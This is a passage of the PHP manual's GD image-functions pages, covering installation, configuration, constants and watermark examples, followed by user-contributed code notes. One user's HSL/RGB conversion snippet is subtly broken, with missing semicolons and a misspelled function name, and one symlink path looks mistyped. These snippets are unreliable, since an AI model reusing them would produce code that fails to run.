// capture output to string
$contents = ob_get_contents();
// end capture
ob_end_clean();

// be tidy; free up memory
imagedestroy($im);

// lastly (for the example) we are writing the string to a file
$fh = fopen("./temp/img.jpg", "a+" );
    fwrite( $fh, $contents );
fclose( $fh );
?>

Enjoy!
Ashley
read_exif_data
Introduction
Image Processing and Generation


Introduction

PHP is not limited to creating just HTML output. It can also be used to create and manipulate image files in a variety of different image formats, including GIF, PNG, JPEG, WBMP, and XPM. Even more convenient, PHP can output image streams directly to a browser. You will need to compile PHP with the GD library of image functions for this to work. GD and PHP may also require other libraries, depending on which image formats you want to work with.

You can use the image functions in PHP to get the size of JPEG, GIF, PNG, SWF, TIFF and JPEG2000 images.

With the exif extension, you are able to work with information stored in headers of JPEG and TIFF images. This way you can read meta data generated by digital cameras. The exif functions do not require the GD library.

Note: Read the requirements section about how to expand image capabilities to read, write and modify images. To read meta data of pictures taken by digital cameras you need the above mentioned exif extension.

Note: The getimagesize() function does not require the GD extension.

User Contributed Notes

There are no user contributed notes for this page.
GD
Installing/Configuring
GD


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
GD


Requirements

If you have the GD library (available at » http://www.libgd.org/) you will also be able to create and manipulate images.

The format of images you are able to manipulate depend on the version of GD you install, and any other libraries GD might need to access those image formats. Versions of GD older than gd-1.6 support GIF format images, and do not support PNG, where versions greater than gd-1.6 and less than gd-2.0.28 support PNG, not GIF. GIF support was re-enabled in gd-2.0.28.

Note: Since PHP 4.3 there is a bundled version of the GD lib. This bundled version has some additional features like alpha blending, and should be used in preference to the external library since its codebase is better maintained and more stable.

You may wish to enhance GD to handle more image formats.

Supported image formats
Image format | Library to download | Notes
gif |  | Only supported in GD versions older than gd-1.6 and newer than gd-2.0.28. Read-only GIF support is available with PHP 4.3.0 and the bundled GD-library. Write support is available since PHP 4.3.9 and PHP 5.0.1.
jpeg | » http://www.ijg.org/ | When building the jpeg library (prior to building PHP) you must use the --enable-shared option in the configure step. If you do not, you will receive an error saying libjpeg.(a|so) not found when you get to the configure step of building PHP.
png | » http://www.libpng.org/pub/png/libpng.html | Only supported in GD versions greater than gd-1.6.
xpm | » ftp://metalab.unc.edu/pub/Linux/libs/X/!INDEX.html | It's likely you have this library already available, if your system has an installed X-Environment.

You may wish to enhance GD to deal with different fonts. The following font libraries are supported:

Supported font libraries
Font library | Download | Notes
FreeType 1.x | » http://www.freetype.org/ | This deprecated feature will certainly be removed in the future.
FreeType 2 | » http://www.freetype.org/ |
T1lib | » ftp://sunsite.unc.edu/pub/Linux/libs/graphics/) | Support for Postscript Type 1 fonts.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

To enable GD-support configure PHP --with-gd[=DIR] , where DIR is the GD base install directory. To use the recommended bundled version of the GD library (which was first bundled in PHP 4.3.0), use the configure option --with-gd . GD library requires libpng and libjpeg to compile.

In Windows, you'll include the GD2 DLL php_gd2.dll as an extension in php.ini. The GD1 DLL php_gd.dll was removed in PHP 4.3.2. Also note that the preferred truecolor image functions, such as imagecreatetruecolor(), require GD2.

Enhance the capabilities of GD to handle more image formats by specifying the --with-XXXX configure switch to your PHP configure line.

Supported image formats
Image Format | Configure Switch
jpeg | To enable support for jpeg add --with-jpeg-dir=DIR . Jpeg 6b, 7 or 8 are supported.
png | To enable support for png add --with-png-dir=DIR . Note, libpng requires the zlib library, therefore add --with-zlib-dir[=DIR] to your configure line.
xpm | To enable support for xpm add --with-xpm-dir=DIR . If configure is not able to find the required libraries, you may add the path to your X11 libraries.

Note: When compiling PHP with libpng, you must use the same version that was linked with the GD library.

Enhance the capabilities of GD to deal with different fonts by specifying the --with-XXXX configure switch to your PHP configure line.

Supported font libraries
Font library | Configure Switch
FreeType 1.x | To enable support for FreeType 1.x add --with-ttf[=DIR] .
FreeType 2 | To enable support for FreeType 2 add --with-freetype-dir=DIR .
T1lib | To enable support for T1lib (Postscript Type 1 fonts) add --with-t1lib[=DIR] .
Native TrueType string function | To enable support for native TrueType string function add --enable-gd-native-ttf .

User Contributed Notes

florian 31-Jul-2011 02:50
People having difficulties setting the --with-libdir option needs to set it like this :

--with-libdir=lib64

That option works fine. Doing --with-libdir=/usr/lib64 doesn't work because the configure script prepends the --prefix option before the --with-libdir option. So, doing --with-libdir=/usr/lib64 makes the configure script to look for libs in /usr/usr/lib64, which is wrong of course, and not in /usr/lib64.
Joseph Marlin 23-Jun-2011 06:07
I also had to install the libgd package in addition to php5-gd:

sudo apt-get install libgd2-xpm-dev*
octopus at logicaloctopus dot com 17-Apr-2011 12:07
I was running PHP on a SUSE box on amazon EC2.
to get gd to work all I had to do was to run:
> yast -i php5_gd

and when that completed I just restarted apache. voila!
boly38 at gmail dot com 17-Mar-2011 05:25
To get GD bundled under Ubuntu, the way to recompile php5 with gd is described here (french) http://doc.ubuntu-fr.org/modules_php#php5-gd
lucaferr 21-Dec-2010 05:30
In Slackware 64bit (I tested 13.1) you need to make symlinks to libpng and libjpeg if you want to compile php with GD, even if you've already installed them, otherwise configure will give you a "libpng not found" error, even if you set --with-libdir=/usr/lib64 (it seems to have no effects at all). So, run these before configuring:
ln -s /usr/lib64/libjpeg.so /usr/lib/libjpeg.so
ln -s /usr/lib64/libpng.so /usr/lib/libpngp.so
elassoto at hotmail dot com 10-Sep-2010 01:54
If you have already compiled PHP and want to recompile '--with-gd', don't forget to run 'make clean' first!
Larry Kluger 13-Jan-2010 02:40
On 64bit centos, needed to create links from lib64 to lib. Php seems to insist on looking in lib, even with "with-jpeg-dir" config.

Eg

ln -s /usr/lib64/libjpeg.so.62.0.0  /usr/lib/libjpeg.so
ln -s /usr/lib64/libpng.so.3.10.0  /usr/lib/libpng.so

./configure  \
  --with-config-file-path=/etc \
  --prefix=/usr \
  --with-bz2 \
  --enable-zip \
  --enable-mbstring \
  --with-apxs2=/usr/sbin/apxs \
  --with-zlib-dir=/usr/include \
  --with-libxml-dir=/usr/lib64 \
  --with-mcrypt=/usr/lib64 \
  --with-mysql \
  --with-gd \
  --with-jpeg-dir=/usr \
  --with-png-dir=/usr \
  --enable-calendar
ben at bluehype dot com dot au 26-Jan-2009 04:07
If you have already compiled php without jpeg support and decide you want it , then before you compile again you might need to run "make clean" first.
Naveen Kumar 06-Jan-2009 11:08
For Redhat Linux 64 bit machine:
--with-libdir=lib64 --with-gd  --with-jpeg-dir --with-png-dir
msc at homofaber dot com 30-Oct-2008 07:45
It should be noted that it might be pretty easy to install gd without the need to recompile php, when using debian:

apt-get install php5-gd
gerard at charlesconsulting dot com 21-Aug-2008 09:36
On my system,I had to ensure I had not only libpng and libjpeg, but also the libpng-devel and libjpeg-devel packages installed.
kronn 17-Jul-2008 02:44
Everytime I try to install the gd-lib as a dynamic extension, I run into the same problem: It wont work.

I get the following error:

PHP Warning:  PHP Startup: Unable to load dynamic library '/usr/pkg/lib/php/20040412/gd.so' - dlopen(/usr/pkg/lib/php/20040412/gd.so, 9): Symbol not found: __cg_jpeg_resync_to_restart\n  Referenced from: /System/Library/Frameworks/ApplicationServices. framework/Versions/A/Frameworks/ImageIO.framework/Versions/A/ImageIO\n  Expected in: /usr/pkg/lib/libjpeg.62.dylib\n in Unknown on line 0

I use pkgsrc for software package managment on my mac, as may be apparent from the paths.

The solution is, to edit the file /usr/pkg/sbin/envvars and remove or comment the DYLD_LIBRARY_PATH because it is causing the error...
mike at clove dot com 18-Apr-2008 09:40
jpeg [jpg] file processing doesn't work unless you build php with '--with-jpeg-dir=<path to jpeg library>'.

It still doesn't work unless <path to jpeg library> points to the directory holding the directory holding the library unless libjpeg.<whatever> is in either /usr/lib or /usr/local/lib. For instance, on a mac with libjpeg.a installed via mac ports, you need '/opt/local' rather than '/opt/local/lib'
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Image Configure Options
Name | Default | Changeable | Changelog
gd.jpeg_ignore_warning | "0" | PHP_INI_ALL | Available since PHP 5.1.3.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

gd.jpeg_ignore_warning bool

Ignore warnings created by jpeg2wbmp() and imagecreatefromjpeg()

See also the exif configuration directives.

Warning

Image functions are very memory intensive. Be sure to set memory_limit high enough.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Resource Types

This extension defines two resource types: an image identifier and a font identifier.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

GD_VERSION (string)
The GD version PHP was compiled against. (Available as of PHP 5.2.4)
GD_MAJOR_VERSION (integer)
The GD major version PHP was compiled against. (Available as of PHP 5.2.4)
GD_MINOR_VERSION (integer)
The GD minor version PHP was compiled against. (Available as of PHP 5.2.4)
GD_RELEASE_VERSION (integer)
The GD release version PHP was compiled against. (Available as of PHP 5.2.4)
GD_EXTRA_VERSION (string)
The GD "extra" version (beta/rc..) PHP was compiled against. (Available as of PHP 5.2.4)
GD_BUNDLED (integer)
When the bundled version of GD is used this is 1 otherwise its set to 0.
IMG_GIF (integer)
Used as a return value by imagetypes()
IMG_JPG (integer)
Used as a return value by imagetypes()
IMG_JPEG (integer)
Used as a return value by imagetypes()

Note:

This constant has the same value as IMG_JPG

IMG_PNG (integer)
Used as a return value by imagetypes()
IMG_WBMP (integer)
Used as a return value by imagetypes()
IMG_XPM (integer)
Used as a return value by imagetypes()
IMG_COLOR_TILED (integer)
Special color option which can be used in stead of color allocated with imagecolorallocate() or imagecolorallocatealpha()
IMG_COLOR_STYLED (integer)
Special color option which can be used in stead of color allocated with imagecolorallocate() or imagecolorallocatealpha()
IMG_COLOR_BRUSHED (integer)
Special color option which can be used in stead of color allocated with imagecolorallocate() or imagecolorallocatealpha()
IMG_COLOR_STYLEDBRUSHED (integer)
Special color option which can be used in stead of color allocated with imagecolorallocate() or imagecolorallocatealpha()
IMG_COLOR_TRANSPARENT (integer)
Special color option which can be used in stead of color allocated with imagecolorallocate() or imagecolorallocatealpha()
IMG_ARC_ROUNDED (integer)
A style constant used by the imagefilledarc() function.

Note:

This constant has the same value as IMG_ARC_PIE

IMG_ARC_PIE (integer)
A style constant used by the imagefilledarc() function.
IMG_ARC_CHORD (integer)
A style constant used by the imagefilledarc() function.
IMG_ARC_NOFILL (integer)
A style constant used by the imagefilledarc() function.
IMG_ARC_EDGED (integer)
A style constant used by the imagefilledarc() function.
IMG_GD2_RAW (integer)
A type constant used by the imagegd2() function.
IMG_GD2_COMPRESSED (integer)
A type constant used by the imagegd2() function.
IMG_EFFECT_REPLACE (integer)
Alpha blending effect used by the imagelayereffect() function.
IMG_EFFECT_ALPHABLEND (integer)
Alpha blending effect used by the imagelayereffect() function.
IMG_EFFECT_NORMAL (integer)
Alpha blending effect used by the imagelayereffect() function.
IMG_EFFECT_OVERLAY (integer)
Alpha blending effect used by the imagelayereffect() function.
IMG_FILTER_NEGATE (integer)
Special GD filter used by the imagefilter() function.
IMG_FILTER_GRAYSCALE (integer)
Special GD filter used by the imagefilter() function.
IMG_FILTER_BRIGHTNESS (integer)
Special GD filter used by the imagefilter() function.
IMG_FILTER_CONTRAST (integer)
Special GD filter used by the imagefilter() function.
IMG_FILTER_COLORIZE (integer)
Special GD filter used by the imagefilter() function.
IMG_FILTER_EDGEDETECT (integer)
Special GD filter used by the imagefilter() function.
IMG_FILTER_GAUSSIAN_BLUR (integer)
Special GD filter used by the imagefilter() function.
IMG_FILTER_SELECTIVE_BLUR (integer)
Special GD filter used by the imagefilter() function.
IMG_FILTER_EMBOSS (integer)
Special GD filter used by the imagefilter() function.
IMG_FILTER_MEAN_REMOVAL (integer)
Special GD filter used by the imagefilter() function.
IMG_FILTER_SMOOTH (integer)
Special GD filter used by the imagefilter() function.
IMG_FILTER_PIXELATE (integer)
Special GD filter used by the imagefilter() function. (Available as of PHP 5.3.0)
IMAGETYPE_GIF (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_JPEG (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_JPEG2000 (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_PNG (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_SWF (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_PSD (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_BMP (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_WBMP (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_XBM (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_TIFF_II (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_TIFF_MM (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_IFF (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_JB2 (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_JPC (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_JP2 (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_JPX (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_SWC (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions.
IMAGETYPE_ICO (integer)
Image type constant used by the image_type_to_mime_type() and image_type_to_extension() functions. (Available as of PHP 5.3.0)
PNG_NO_FILTER (integer)
A special PNG filter, used by the imagepng() function.
PNG_FILTER_NONE (integer)
A special PNG filter, used by the imagepng() function.
PNG_FILTER_SUB (integer)
A special PNG filter, used by the imagepng() function.
PNG_FILTER_UP (integer)
A special PNG filter, used by the imagepng() function.
PNG_FILTER_AVG (integer)
A special PNG filter, used by the imagepng() function.
PNG_FILTER_PAETH (integer)
A special PNG filter, used by the imagepng() function.
PNG_ALL_FILTERS (integer)
A special PNG filter, used by the imagepng() function.

User Contributed Notes

webmaster at alexventure dot com 08-Aug-2011 06:25
In case anyone is wondering what these filters are for, have a look at the W3C's specification:

http://www.w3.org/TR/PNG-Filters.html
Resource Types
Examples
GD


Examples

Table of Contents

  • PNG creation with PHP
  • Adding watermarks to images using alpha channels
  • Using imagecopymerge to create a translucent watermark

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
PNG creation with PHP
GD


PNG creation with PHP

Example #1 PNG creation with PHP

<?php

header("Content-type: image/png");
$string = $_GET['text'];
$im     = imagecreatefrompng("images/button1.png");
$orange = imagecolorallocate($im, 220, 210, 60);
$px     = (imagesx($im) - 7.5 * strlen($string)) / 2;
imagestring($im, 3, $px, 9, $string, $orange);
imagepng($im);
imagedestroy($im);

?>
This example would be called from a page with a tag like: <img src="button.php?text=text">. The above button.php script then takes this "text" string and overlays it on top of a base image which in this case is "images/button1.png" and outputs the resulting image. This is a very convenient way to avoid having to draw new button images every time you want to change the text of a button. With this method they are dynamically generated.

User Contributed Notes

There are no user contributed notes for this page.
Examples
Adding watermarks to images using alpha channels
Examples


Adding watermarks to images using alpha channels

Example #1 Adding watermarks to images using alpha channels

<?php
// Load the stamp and the photo to apply the watermark to
$stamp = imagecreatefrompng('stamp.png');
$im = imagecreatefromjpeg('photo.jpeg');

// Set the margins for the stamp and get the height/width of the stamp image
$marge_right = 10;
$marge_bottom = 10;
$sx = imagesx($stamp);
$sy = imagesy($stamp);

// Copy the stamp image onto our photo using the margin offsets and the photo
// width to calculate positioning of the stamp.
imagecopy($im, $stamp, imagesx($im) - $sx - $marge_right, imagesy($im) - $sy - $marge_bottom, 0, 0, imagesx($stamp), imagesy($stamp));

// Output and free memory
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>
Adding watermarks to images using alpha channels
This example is a common way to add watermarks and stamps to photos and copyrighted images. Note that the presence of an alpha channel in the stamp image as the text is anti-aliased. This is preserved during copying.

User Contributed Notes

There are no user contributed notes for this page.
PNG creation with PHP
Using imagecopymerge to create a translucent watermark
Examples


Using imagecopymerge to create a translucent watermark

Adding watermarks to images using alpha channels
GD and Image Functions
Examples
PHP Manual

Using imagecopymerge() to create a translucent watermark

Example #1 Using imagecopymerge() to create a translucent watermark

<?php
// Load the stamp and the photo to apply the watermark to
$im = imagecreatefromjpeg('photo.jpeg');

// First we create our stamp image manually from GD
$stamp = imagecreatetruecolor(100, 70);
imagefilledrectangle($stamp, 0, 0, 99, 69, 0x0000FF);
imagefilledrectangle($stamp, 9, 9, 90, 60, 0xFFFFFF);
$im = imagecreatefromjpeg('photo.jpeg');
imagestring($stamp, 5, 20, 20, 'libGD', 0x0000FF);
imagestring($stamp, 3, 20, 40, '(c) 2007-9', 0x0000FF);

// Set the margins for the stamp and get the height/width of the stamp image
$marge_right = 10;
$marge_bottom = 10;
$sx = imagesx($stamp);
$sy = imagesy($stamp);

// Merge the stamp onto our photo with an opacity (transparency) of 50%
imagecopymerge($im, $stamp, imagesx($im) - $sx - $marge_right, imagesy($im) - $sy - $marge_bottom, 0, 0, imagesx($stamp), imagesy($stamp), 50);

// Save the image to file and free memory
imagepng($im, 'photo_stamp.png');
imagedestroy($im);

?>
Using imagecopymerge() to create a translucent watermark
This example uses imagecopymerge() to merge the stamp with our original image. Using this we can set the opacity of our stamp - in our example we've set it to 50% opacity (another term for transparency). In practice this would be useful in copyright protection as semi-transparent watermarks are hard to remove yet allow viewers to see the image.

User Contributed Notes

Anonymous 11-Feb-2011 06:44
Actually opacity is the opposite of transparency.
Adding watermarks to images using alpha channels
GD and Image Functions
Examples


GD and Image Functions

Table of Contents

  • gd_info — Retrieve information about the currently installed GD library
  • getimagesize — Get the size of an image
  • image_type_to_extension — Get file extension for image type
  • image_type_to_mime_type — Get Mime-Type for image-type returned by getimagesize, exif_read_data, exif_thumbnail, exif_imagetype
  • image2wbmp — Output image to browser or file
  • imagealphablending — Set the blending mode for an image
  • imageantialias — Should antialias functions be used or not
  • imagearc — Draws an arc
  • imagechar — Draw a character horizontally
  • imagecharup — Draw a character vertically
  • imagecolorallocate — Allocate a color for an image
  • imagecolorallocatealpha — Allocate a color for an image
  • imagecolorat — Get the index of the color of a pixel
  • imagecolorclosest — Get the index of the closest color to the specified color
  • imagecolorclosestalpha — Get the index of the closest color to the specified color + alpha
  • imagecolorclosesthwb — Get the index of the color which has the hue, white and blackness
  • imagecolordeallocate — De-allocate a color for an image
  • imagecolorexact — Get the index of the specified color
  • imagecolorexactalpha — Get the index of the specified color + alpha
  • imagecolormatch — Makes the colors of the palette version of an image more closely match the true color version
  • imagecolorresolve — Get the index of the specified color or its closest possible alternative
  • imagecolorresolvealpha — Get the index of the specified color + alpha or its closest possible alternative
  • imagecolorset — Set the color for the specified palette index
  • imagecolorsforindex — Get the colors for an index
  • imagecolorstotal — Find out the number of colors in an image's palette
  • imagecolortransparent — Define a color as transparent
  • imageconvolution — Apply a 3x3 convolution matrix, using coefficient and offset
  • imagecopy — Copy part of an image
  • imagecopymerge — Copy and merge part of an image
  • imagecopymergegray — Copy and merge part of an image with gray scale
  • imagecopyresampled — Copy and resize part of an image with resampling
  • imagecopyresized — Copy and resize part of an image
  • imagecreate — Create a new palette based image
  • imagecreatefromgd2 — Create a new image from GD2 file or URL
  • imagecreatefromgd2part — Create a new image from a given part of GD2 file or URL
  • imagecreatefromgd — Create a new image from GD file or URL
  • imagecreatefromgif — Create a new image from file or URL
  • imagecreatefromjpeg — Create a new image from file or URL
  • imagecreatefrompng — Create a new image from file or URL
  • imagecreatefromstring — Create a new image from the image stream in the string
  • imagecreatefromwbmp — Create a new image from file or URL
  • imagecreatefromxbm — Create a new image from file or URL
  • imagecreatefromxpm — Create a new image from file or URL
  • imagecreatetruecolor — Create a new true color image
  • imagedashedline — Draw a dashed line
  • imagedestroy — Destroy an image
  • imageellipse — Draw an ellipse
  • imagefill — Flood fill
  • imagefilledarc — Draw a partial arc and fill it
  • imagefilledellipse — Draw a filled ellipse
  • imagefilledpolygon — Draw a filled polygon
  • imagefilledrectangle — Draw a filled rectangle
  • imagefilltoborder — Flood fill to specific color
  • imagefilter — Applies a filter to an image
  • imagefontheight — Get font height
  • imagefontwidth — Get font width
  • imageftbbox — Give the bounding box of a text using fonts via freetype2
  • imagefttext — Write text to the image using fonts using FreeType 2
  • imagegammacorrect — Apply a gamma correction to a GD image
  • imagegd2 — Output GD2 image to browser or file
  • imagegd — Output GD image to browser or file
  • imagegif — Output image to browser or file
  • imagegrabscreen — Captures the whole screen
  • imagegrabwindow — Captures a window
  • imageinterlace — Enable or disable interlace
  • imageistruecolor — Finds whether an image is a truecolor image
  • imagejpeg — Output image to browser or file
  • imagelayereffect — Set the alpha blending flag to use the bundled libgd layering effects
  • imageline — Draw a line
  • imageloadfont — Load a new font
  • imagepalettecopy — Copy the palette from one image to another
  • imagepng — Output a PNG image to either the browser or a file
  • imagepolygon — Draws a polygon
  • imagepsbbox — Give the bounding box of a text rectangle using PostScript Type1 fonts
  • imagepsencodefont — Change the character encoding vector of a font
  • imagepsextendfont — Extend or condense a font
  • imagepsfreefont — Free memory used by a PostScript Type 1 font
  • imagepsloadfont — Load a PostScript Type 1 font from file
  • imagepsslantfont — Slant a font
  • imagepstext — Draws a text over an image using PostScript Type1 fonts
  • imagerectangle — Draw a rectangle
  • imagerotate — Rotate an image with a given angle
  • imagesavealpha — Set the flag to save full alpha channel information (as opposed to single-color transparency) when saving PNG images
  • imagesetbrush — Set the brush image for line drawing
  • imagesetpixel — Set a single pixel
  • imagesetstyle — Set the style for line drawing
  • imagesetthickness — Set the thickness for line drawing
  • imagesettile — Set the tile image for filling
  • imagestring — Draw a string horizontally
  • imagestringup — Draw a string vertically
  • imagesx — Get image width
  • imagesy — Get image height
  • imagetruecolortopalette — Convert a true color image to a palette image
  • imagettfbbox — Give the bounding box of a text using TrueType fonts
  • imagettftext — Write text to the image using TrueType fonts
  • imagetypes — Return the image types supported by this PHP build
  • imagewbmp — Output image to browser or file
  • imagexbm — Output XBM image to browser or file
  • iptcembed — Embeds binary IPTC data into a JPEG image
  • iptcparse — Parse a binary IPTC block into single tags.
  • jpeg2wbmp — Convert JPEG image file to WBMP image file
  • png2wbmp — Convert PNG image file to WBMP image file

User Contributed Notes

ingo at jache dot de 14-Oct-2011 03:16
I know this might look somewhat superfluous to others, but i once came across a situation where i needed a *strong* blur on an image without having ImageMagick installed. Executing the convolution-filter several times on the same image is awfully slow and still doesn't give a good blur.

The function below accepts a truecolor-image and a blur-factor between 0.0 and 1.0. Beware: It's still quite slow.

<?php

    function blurImage($srcimg,$blur)
    {
        $blur = $blur*$blur;
        $blur = max(0,min(1,$blur));

        $srcw = imagesx($srcimg);
        $srch = imagesy($srcimg);

        $dstimg = imagecreatetruecolor($srcw,$srch);

        $f1a = $blur;
        $f1b = 1.0 - $blur;

        $cr = 0; $cg = 0; $cb = 0;
        $nr = 0; $ng = 0; $nb = 0;

        $rgb = imagecolorat($srcimg,0,0);
        $or = ($rgb >> 16) & 0xFF;
        $og = ($rgb >> 8) & 0xFF;
        $ob = ($rgb) & 0xFF;

        //-------------------------------------------------
        // first line is a special case
        //-------------------------------------------------
        $x = $srcw;
        $y = $srch-1;
        while ($x--)
        {
            //horizontal blurren
            $rgb = imagecolorat($srcimg,$x,$y);
            $cr = ($rgb >> 16) & 0xFF;
            $cg = ($rgb >> 8) & 0xFF;
            $cb = ($rgb) & 0xFF;

            $nr = ($cr * $f1a) + ($or * $f1b);
            $ng = ($cg * $f1a) + ($og * $f1b);
            $nb = ($cb * $f1a) + ($ob * $f1b);

            $or = $nr;
            $og = $ng;
            $ob = $nb;

            imagesetpixel($dstimg,$x,$y,($nr << 16) | ($ng << 8) | ($nb));
        }
        //-------------------------------------------------

        //-------------------------------------------------
        // now process the entire picture
        //-------------------------------------------------
        $y = $srch-1;
        while ($y--)
        {

            $rgb = imagecolorat($srcimg,0,$y);
            $or = ($rgb >> 16) & 0xFF;
            $og = ($rgb >> 8) & 0xFF;
            $ob = ($rgb) & 0xFF;

            $x = $srcw;
            while ($x--)
            {
                //horizontal
                $rgb = imagecolorat($srcimg,$x,$y);
                $cr = ($rgb >> 16) & 0xFF;
                $cg = ($rgb >> 8) & 0xFF;
                $cb = ($rgb) & 0xFF;

                $nr = ($cr * $f1a) + ($or * $f1b);
                $ng = ($cg * $f1a) + ($og * $f1b);
                $nb = ($cb * $f1a) + ($ob * $f1b);

                $or = $nr;
                $og = $ng;
                $ob = $nb;

                //vertical
                $rgb = imagecolorat($dstimg,$x,$y+1);
                $vr = ($rgb >> 16) & 0xFF;
                $vg = ($rgb >> 8) & 0xFF;
                $vb = ($rgb) & 0xFF;

                $nr = ($nr * $f1a) + ($vr * $f1b);
                $ng = ($ng * $f1a) + ($vg * $f1b);
                $nb = ($nb * $f1a) + ($vb * $f1b);

                $vr = $nr;
                $vg = $ng;
                $vb = $nb;

                imagesetpixel($dstimg,$x,$y,($nr << 16) | ($ng << 8) | ($nb));
            }

        }
        //-------------------------------------------------
        return $dstimg;

    }

    $srcimg = imagecreatefromjpeg("test.jpg");
    $dstimg = blurImage($srcimg,0.2);

    header('Content-type: image/jpeg');
    echo( imagejpeg($dstimg) );
    exit();

?>
chuckstudios at gmail dot com 25-Nov-2008 09:18
I wrote a simple function to convert an image resource to PGM (portable graymap) in order to feed it to an OCR program. It works just like the rest of the image output functions, and will convert to grayscale for you:

<?php
    function imagepgm($image, $filename = null)
    {
        $pgm = "P5 ".imagesx($image)." ".imagesy($image)." 255\n";
        for($y = 0; $y < imagesy($image); $y++)
        {
            for($x = 0; $x < imagesx($image); $x++)
            {
                $colors = imagecolorsforindex($image, imagecolorat($image, $x, $y));
                $pgm .= chr(0.3 * $colors["red"] + 0.59 * $colors["green"] + 0.11 * $colors["blue"]);
            }
        }
        if($filename != null)
        {
            $fp = fopen($filename, "w");
            fwrite($fp, $pgm);
            fclose($fp);
        }
        else
        {
            return $pgm;
        }
    }
?>
dev at kingthief dot com 28-Mar-2008 08:20
I've developed a well-documented, fairly rock-solid API for creating on the fly, anti-aliased, rounded corner images, including full alpha transparency support for all you PNG lovers.

go here to download the package:
http://sourceforge.net/projects/roundedphp/

go here for a live demo:
http://dev.kingthief.com/demos/roundedphp/

Installation is similar to PEAR.

Enjoy!
ph_corp at yahoo dot fr 23-Dec-2007 03:19
<?php

/**
HSL/RGB conversion functions
very useful for a lot of applications
**/

function RBGtoHSL ( $R, $G, $B )
{

    $var_R = ( $R / 255 );
    $var_G = ( $G / 255 );
    $var_B = ( $B / 255 );

    $var_Min = min( $var_R, $var_G, $var_B )
    $var_Max = max( $var_R, $var_G, $var_B )
    $del_Max = $var_Max - $var_Min

    $L = ( $var_Max + $var_Min ) / 2;

    if ( $del_Max == 0 )
    {
       $H = 0
       $S = 0
    }
    else
    {
        if ( $L < 0.5 )
        {
            $S = $del_Max / ( $var_Max + $var_Min );
        }
        else
        {
            $S = $del_Max / ( 2 - $var_Max - $var_Min );
        }

        $del_R = ( ( ( $var_Max - $var_R ) / 6 ) + ( $del_Max / 2 ) ) / $del_Max;
        $del_G = ( ( ( $var_Max - $var_G ) / 6 ) + ( $del_Max / 2 ) ) / $del_Max;
        $del_B = ( ( ( $var_Max - $var_B ) / 6 ) + ( $del_Max / 2 ) ) / $del_Max;

        if ( $var_R == $var_Max )
        {
            $H = $del_B - $del_G;
        }
        else if ( $var_G == $var_Max )
        {
            $H = ( 1 / 3 ) + $del_R - $del_B;
        }
        else if ( $var_B == $var_Max )
        {
            $H = ( 2 / 3 ) + $del_G - $del_R;
        }

        if ( $H < 0 )
        {
            $H += 1;
        }
        if ( $H > 1 )
        {
            $H -= 1
        }

    }

    return array( $H, $S, $L );

}

function HuetoRGB( $v1, $v2, $vH )
{
    if ( $vH < 0 )
    {
        $vH += 1;
    }
    if ( $vH > 1 )
    {
        $vH -= 1;
    }
    if ( ( 6 * $vH ) < 1 )
    {
        return ( $v1 + ( $v2 - $v1 ) * 6 * $vH );
    }
    if ( ( 2 * $vH ) < 1 )
    {
        return ( $v2 );
    }
    if ( ( 3 * $vH ) < 2 )
    {
        return ( $v1 + ( $v2 - $v1 ) * ( ( 2 / 3 ) - $vH ) * 6 );
    }
    return ( $v1 )
}

function HSLtoRGB ( $H, $S, $L )
{

    if ( $S == 0 )
    {
        $R = $L * 255;
        $G = $L * 255;
        $B = $L * 255;
    }
    else
    {
        if ( $L < 0.5 )
        {
            $var_2 = $L * ( 1 + $S );
        }
        else
        {
            $var_2 = ( $L + $S ) - ( $S * $L );
        }

        $var_1 = 2 * $L - $var_2;

        $R = 255 * HuetoRGB( $var_1, $var_2, $H + ( 1 / 3 ) );
        $G = 255 * HuetoRGB( $var_1, $var_2, $H );
        $B = 255 * HuetoRGB( $var_1, $var_2, $H - ( 1 / 3 ) );
    }

    return array( $R, $G, $B );

}

function distance ( $R1, $G1, $B1, $R2, $G2, $B2 )
{
    $result = sqrt ( ( $R1 - $R2 )*( $R1 - $R2 ) + ( $G1 - $G2 )*( $G1 - $G2 ) + ( $B1 - $B2 )*( $B1 - $B2 ) );
    return ( $result );
}

?>
shd at earthling dot net 28-Mar-2006 04:44
If you happen to need a way to output a Windows BMP file (e.g. when using the PEAR ExcelWriter), feel free to use the following code:

<?php
function imagebmp ($im, $fn = false)
{
    if (!$im) return false;

